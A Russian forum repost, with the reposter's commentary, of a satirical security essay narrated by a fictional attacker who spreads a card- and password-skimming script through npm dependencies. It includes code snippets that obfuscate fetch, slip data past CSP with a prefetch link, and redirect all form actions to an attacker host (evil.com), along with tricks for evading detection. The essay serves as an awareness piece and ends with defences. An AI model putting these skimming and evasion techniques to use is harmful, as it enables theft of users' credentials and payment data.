Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов

Ссылка: https://habrahabr.ru/company/ruvds/blog/346442/


Наткнулся на хорошую статью на Хабре, о последствиях пренебрежения информационной безопасностью. Поскольку меня часто упрекают в остутствии текста "для чайников", сперва будет он, а потом копипаста статьи.


Отправляя важные данные Вы доверяете сайту. Но даже если сайт не имеет целью сбора Ваших данных, то Вы не в безопасности - атака может осуществляться с использовнием механизма зависимостей.


Компания Майкрософт и производители проприетарного софта в разряд высшего блага возносит технологии закрытого исходного кода. В этом случае программист использует интерфейс программы или её части без доступа к коду. Когда программа ссылается на часть другой программы, это называется зависимостью т.к. написаный код без используемой части программы работать не будет. А если в закрытом коде вирус или уязвимость? Или уязвимость в зависимости зависимости? На 3-4-5 ступеньке зависимостей?


Закрытый код - катастрофа безопасности. Чужой код - всегда угроза. Зависимости увеличивают объем программ и сайтов. Но они позволяют разрабатывать быстро и дешево.


Неудивительно, что системы построенные на этих принципах являются постоянными гостями новостей об обнаруженных уязвимостях и атаках. Да, системы с открытым кодам так же попадают в новости, но гораздо реже и эксплуатация уязвимостей СПО обычно (но не всегда) гораздо сложнее.


Если на сайте есть сторонний JavaScript код, то этот код может получать доступ ко всем данным страницы. Логинам, паролям, переписке, данным платежных карт... Скрипты доступые по HTTP может модернизировать любой желающий и знающий определеные технологии.


Можно ли использовать чужой код? Можно. Если мы аозьмем данные сайтов, то увидим, что 90% данных можно публиковать без ограничений. Но вот 10% оставшихся страниц должны быть полностью написаны специалистами компании.


Копипаста статьи


(с моими комментариями полужирным курсивом):


То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.


Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.


В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.


Как это работает


Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:


На странице есть тег <form> (этот тег позволяет передавать файлы и данные).

Там имеется элемент, в свойствах которого есть input[type="password"], или name="cardnumber", или name="cvc", или нечто подобное. (общепринятые маркировки полей для ввода паролей и платежных данных)

Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.


Затем, при возникновении события blur у поля для ввода пароля или номера кредитной карты, или при возникновении события submit формы (эти события говорят о том, что форма заполнена и данные можн украсть), код выполняет следующие действия:


Берёт данные из всех полей формы, расположенной на странице (document.forms.forEach(…)).

Читает document.cookie.

Превращает это всё в строку, которая выглядит как беспорядочный набор символов (const payload = btoa(JSON.stringify(sensitiveUserData))).

Затем отправляет то, что получилось, по примерно такому адресу: https://legit-analytics.com?q=%24{payload} (адрес это, конечно, выдуманный).


Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.


Предыстория


Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.


Вот мудрый совет от Google:


Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.

Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.


К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты. (библиотеки или программные компоненты серверной версии JavaScript, которые включаются в серверный, а с недавнего времени и в браузерный код)


NPM


Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.


Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст.


Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.(добавлял пакет в зависимости т.е. атакованные пакеты считали бы, что они не могут работать без вируса и скачивали бы вирус на сервер и в браузеры при каждом использовании)


Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».


Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве. (если мошенник в реале будет иметь успех в 1 случае из 1000, то он умрет с голоду, а в Интернете - озолотится. Потому что средства автоматизации позволяют 1 человеку проводит до нескольких миллионов операций ежедневно)


В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.


И это — только один пакет. Похожих было ещё 6.


Тогда я вышел более чем на 120000 загрузок в месяц (загрузки примерно соответствуют числу зараженных машин), и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.


Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.


Анализ замечаний тех, кто уверен в своей безопасности (плохой безопасник считает, что выполнив ряд действий можно быть в чём-то уверенным, хороший знает, то его обязательно поимеют и готовится к минимизации потерь)


Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.


▍Я заметил бы исходящие сетевые запросы!


Где бы вы их заметили? (клиентский код выполняется исключительно на пользовательских устройствах, далее идут подробные описания обходов тестировщиков и методов их работы) Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель откреплена от основного окна).


Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.


Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).


▍Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!


В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.


И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.


Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.


Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям. (Бич современных сайтов и Пикабу в т.ч. - реклама, как источник дохода, СЕО, аналитика, метрики, плагины социальных сетей... Короче говоря за исключением отдельных сайтов все современные сайты имеют нулевую защищенность т.к. взлом одного из элементов - взлом всех завиимых)


Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.


Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.


▍Я бы это увидел в исходном коде пакета на GitHub!


Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.


В моём package.json я задал свойство files так, что оно указывает на директорию lib, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда npm publish шлёт в npm. Но директория lib указана в .gitignore, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.


Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в /lib/package.min.js — это реальный результат минификации /src/package.js?


В итоге, на GitHub мой код никому не найти.


▍Я проанализировал бы все минифицированные исходники кода из node_modules!


Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.


Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов fetch и XMLHttpRequest (ни один из автоматических тестировщиков и юнит-тестов не среагирует на потенциально опасный код, если этого кода нет в скриптах и базах данных "опасного кода". Эвристика и её эффективность до сих пор не более чем миф), или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:


const i = 'gfudi';

const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');

self[k(i)](urlWithYourPreciousData);


Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А self — это всего лишь псевдоним для window.


А вот ещё один способ записать команду вида fetch(...):


self['\u0066\u0065\u0074\u0063\u0068'](...)


Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.


Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие fetch. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде new EventSource(urlWithYourPreciousData). При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя serviceWorker для прослушивания событий fetch, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих serviceWorker, но не EventSource.


▍У меня есть политика защиты контента!


Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP (по сути любой анализ здесь бессилен - атакующий код создается в момент выполнения скрипа, автор здесь привел доступный для чтения и понимания пример принципа, но код, выполняющий ту же функцию, можно разбросать на десятки строк и включить его в разные части общего кода):


const linkEl = document.createElement('link');

linkEl.rel = 'prefetch';

linkEl.href = urlWithYourPreciousData;

document.head.appendChild(linkEl);


В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.


Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome (тут автору можно подмигнуть - универсальный для всех браузеров код не сложнее "только для Хрома"), и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.


Если вы ещё не знаете, то CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера (на самом деле - анекдот, потому что на сайты специально устанавливают код, рассылающий данные кому попало и в то же время ограничивают рассылку данных кому попало. Как будто два отдела вооют друг с другом за бюджет... ой ;-)). Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).


В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.


Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано report-uri). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.


Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.


Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.


fetch(document.location.href)

.then(resp => {

const csp = resp.headers.get('Content-Security-Policy');

// Существует ли такой заголовок? Устраивает ли это меня?

});

(есть и более простые и надежные пути, но суть "атаки" передана верно - любая блокировка может быть обнаружена по самому факту блокировки)


В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.


Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.


У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.


У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано default-src. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали form-action.


Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано form-action, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.(вообще архитектура JavaScript - бедствие безопасности, потому что одно и то же действие может быть выражено огромным числом вариантов и обеспечение безопасности - это наука "как из кривых веток сделать герметичную дамбу")


Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);


Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.


Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.


Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.


Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.


Что делать?


Вот несколько вариантов защиты от всего того, о чём я рассказал.


▍Вариант №1: никакого интернета, никаких сайтов


Полагаю, тут всё понятно без лишних слов:


Здесь вы будете в безопасности.


▍Вариант №2: никакого постороннего кода на важных страницах


На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.


Как советуют здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame (лучше полностью выделенные динамические страницы т.к. фреймы или сгенерированные страницы могут быть аткованы гораздо проще, чем вынесенная в отдельный скрипт динамика).


При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).


Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?


Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.


Серьёзный разговор


Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.


В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.


Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?


Итоги


Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).


Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.


Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?

Информационная безопасность IT

1.4K постов25.6K подписчика

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.